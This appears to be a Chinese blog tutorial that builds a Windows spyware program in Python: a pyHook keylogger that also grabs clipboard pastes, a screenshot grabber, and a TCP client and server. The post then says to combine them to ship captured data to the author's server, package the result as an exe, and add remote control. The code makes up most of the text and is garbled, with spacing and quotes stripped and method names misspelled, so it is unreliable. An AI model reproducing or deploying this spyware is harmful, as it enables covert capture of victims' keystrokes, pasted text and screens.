探索黑客技术攻防,实战研究与安全创新

导航菜单

Python程序分析研究

本文属于《小学生科普系列》番外篇,《小科》系列面向小学生,纯科普,大牛莫喷~这次我们使用Python编写一个具有键盘记录、截屏以及通信功能的简易程序,依然选用Sublimetext2+JEDI(python自动补全插件)来写代码。首先准备好我们需要的依赖库,pythonhook和pythoncom。

如果觉得麻烦,你可以直接使用集成了所有我们所需要的python库的商业版Activepython。记录你所敲打的一切:编写一个keylogger说起Keylogger,大家的思维可能早已飞向带有wifi功能的mini小硬件去了。抛开高科技,我们暂且回归本质,探探简易键盘记录器的原理与实现。Pythonkeylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windowsAPI的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。关键代码如下所示:


#-*-coding:utf-8-*-
fromctypesimport*
importpythoncom
importpyHook
importwin32clipboard
user32=windll.user32
kernel32=windll.kernel32
psapi=windll.psapi
current_window=None
#
defget_current_process():
#获取最上层的窗口句柄
hwnd=user32.GetForegroundWindow()
#获取进程ID
pid=c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_id=%d%pid.value
#申请内存
executable=create_string_buffer(\x00*512)h_process=kernel32.OpenProcess(0x400|0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title=create_string_buffer(\x00*512)
length=user32.GetWindowTextA(hwnd,byref(windows_title),512)
#打印
print
print[PID:%s-%s-%s]%(process_id,executable.value,windows_title.value)
print
#关闭handles
#定义击键监听事件函数
defKeyStroke(event):
globalcurrent_window
#检测目标窗口是否转移(换了其他窗口就监听新的窗口)
ifevent.WindowName!=current_window:
current_window=event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
ifevent.Ascii32andevent.Ascii127:
printchr(event.Ascii),
else:
#如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
ifevent.Key==V:
win32clipboard.OpenClipboard()
win32clipboard.CloseClipboard()
print[PASTE]-%s%(pasted_value),
else:
print[%s]%event.Key,
#循环监听下一个击键事件
returnTrue
#创建并注册hook管理器
kl=pyHook.HookManager()
kl.KeyDown=KeyStroke
#注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()


【知识点】钩子(Hook):Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。编写代码时一定要注意严格区分大小写,检查无误后启动keylogger,然后可以尝试打开记事本写点东西,过程中可以看到我们的keylogger窗口正在对我们的输入实时记录,如图1所示。

A13.png

图1

切换窗口时会自动跟踪到新窗口,light教授趁机骚扰一下疯狗,可以看到我们的keylogger已经跟踪到聊天窗口,并忠实的记录下输入的一切,如图2所示。

A14.png

图2

看看你在干什么:编写一个screenshotter截屏实现起来更简单,直接调用几个GUI相关的API即可,我们直接看代码。


#-*-coding:utf-8-*-
importwin32gui
importwin32ui
importwin32con
importwin32api
#获取桌面
hdesktop=win32gui.GetDesktopWindow()
#分辨率适应
width=win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height=win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left=win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top=win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
#创建设备描述表
desktop_dc=win32gui.GetWindowDC(hdesktop)
img_dc=win32ui.CreateDCFromHandle(desktop_dc)
#创建一个内存设备描述表
mem_dc=img_dc.CreateCompaC()
#创建位图对象
screenshot=win32ui.CreateBitmap()
screenshot.CreateComleBitmap(img_dc,width,height)
mem_dc.SelectObject(screenshot)
#截图至内存设备描述表
mem_dc.BitBlt((0,0),(width,height),img_dc,(left,top),win32con.SRCCOPY)
#将截图保存到文件中
screenshot.SaveBitmapFile(mem_dc,'c:\\WINDOWS\\Temp\\screenshot.bmp')
#内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())


运行之后看看效果如何,如图3所示。

A15.png

图3

综合运用:完成一个简易程序

无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信,传输记录下的内容到我们的服务器上。

1)编写一个简单的TCPclient


#-*-coding:utf-8-*-
importsocket
#目标地址IP/URL及端口
target_host=127.0.0.1
target_port=9999
#创建一个socket对象
client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#连接主机
client.cnect((target_host,target_port))
#发送数据
client.send(GET/HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n)
#接收响应
response=client.recv(4096)
printresponse


2)编写一个简单的TCPserver


#-*-coding:utf-8-*-
importsocket
importthreading
#监听的IP及端口
bind_ip=127.0.0.1
bind_port=9999
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print[*]Listn%s:%d%(bind_ip,bind_port)
defhandle_client(client_socket):
request=client_socket.recv(1024)
print[*]Received:%s%request
client_socket.send(ok!)
client_socket.close()
whileTrue:
client,addr=server.accept()
print[*]Acceptconnectionfrom:%s:%d%(addr[0],addr[1])
client_handler=threading.Thread(target=handle_client,args=(client,))
client_handler.start()


开启服务端监听,如图4所示。

A16.png

A17.png

执行客户端,如图5所示。

服务端接收到客户端的请求并做出了响应,如图6所示。

A18.png

图6

最后需要做的就是把上面三个模块结合起来,一个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的程序就完成了。可以使用py2exe把脚本生成exe可执行文件。当然,你还可以继续发挥,加上远程控制功能。

本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,作者不鼓励或支持任何形式的非法行为。